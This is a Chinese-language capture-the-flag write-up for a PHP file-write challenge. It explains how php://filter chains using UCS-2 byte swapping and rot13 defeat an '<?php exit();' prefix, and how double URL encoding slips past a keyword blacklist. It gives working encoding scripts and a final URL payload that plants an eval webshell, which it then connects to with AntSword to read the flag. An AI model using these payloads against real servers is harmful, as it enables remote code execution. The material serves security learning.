题目源码
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0); //不会报错
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']); //这个不用在意,就是md5加密一个路径的值
@mkdir($sandbox); //创建目录
@chdir($sandbox); //进入目录
var_dump("Sandbox:".$sandbox); //输出路径
highlight_file(__FILE__); //高亮所有代码
if(isset($_GET['content'])) { //判断content是否传参
$content = $_GET['content']; //传参后赋值给content
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content)) //判断content是否有这些字符 /i是大小写都匹配
die('hacker'); //结束
if(file_exists($content)) //判断content的文件是否存在
require_once($content); //包含
file_put_contents($content,'<?php exit();'.$content); //写入一个content文件,内容是<?php exit();加上$content
}
首先要解决的是$content要传入什么可以绕过exit()
<?php exit();$content
可以将代码改变一下
<?php
show_source(__FILE__);
$content = $_GET['content'];
$data = '<?php exit();?> ' . $content;
file_put_contents($content,$data);
我们可以利用php://filter字符串处理方法&&编码的方法绕过<?php exit();
这里就用UCS-2和Rot13过滤举个例子
<?php
#demo_0.php
error_reporting(0); //不影响运行结果,只是不会再报错
$content = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php";
$data = '<?php exit();'.$content;
file_put_contents($content,$data);
php demo_0.php 运行后会在当前目录生成一个shell.php
此时成功运行phpinfo();
这里用的是UCS-2,当然我们也可以用UCS-4 (在这就不多举例了) ,也有常见的办法,base64和strip_tags等等,但是会有弊端。
你可能会想到phpinfo();是怎么构造?如何改成自己想要的一句话木马呢?
PHP协议中间有一段:
x?<uc cucvcsa(b;)>? == <?php phpinfo();?>
用PHP UCS-2和Rot13编码/解码脚本
<?php
$a = iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
echo "x".str_rot13($a);
#x?<uc cucvcsa(b;)>?
?>
改成自己的一句话木马就行了
回到本题。明显过滤了很多,但是我们可以用二次编码绕过,因为file_put_contents中调用伪协议,会对过滤器url解码一次
将字符二次编码
<?php
$char = 'u';
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$a = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($a)) == $char){
echo $char.': '.$a;
}
}
}
?>
绕过preg_match函数
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
构造pyload
?content=php://filter/write=convert.%6%39conv.%7%35CS-2LE.%7%35CS-2BE|string.%7%32ot13|x?<uc ciryn$(C_FB[G66]6;)>?/resource=xg.php
访问http://ip/sandbox/c47b21fcf8f0bc8b3920541abd8024fd/xg.php 密码666
蚁剑连接
flag{b6515f13-2b4a-49da-8e80-d55732c1b0bb}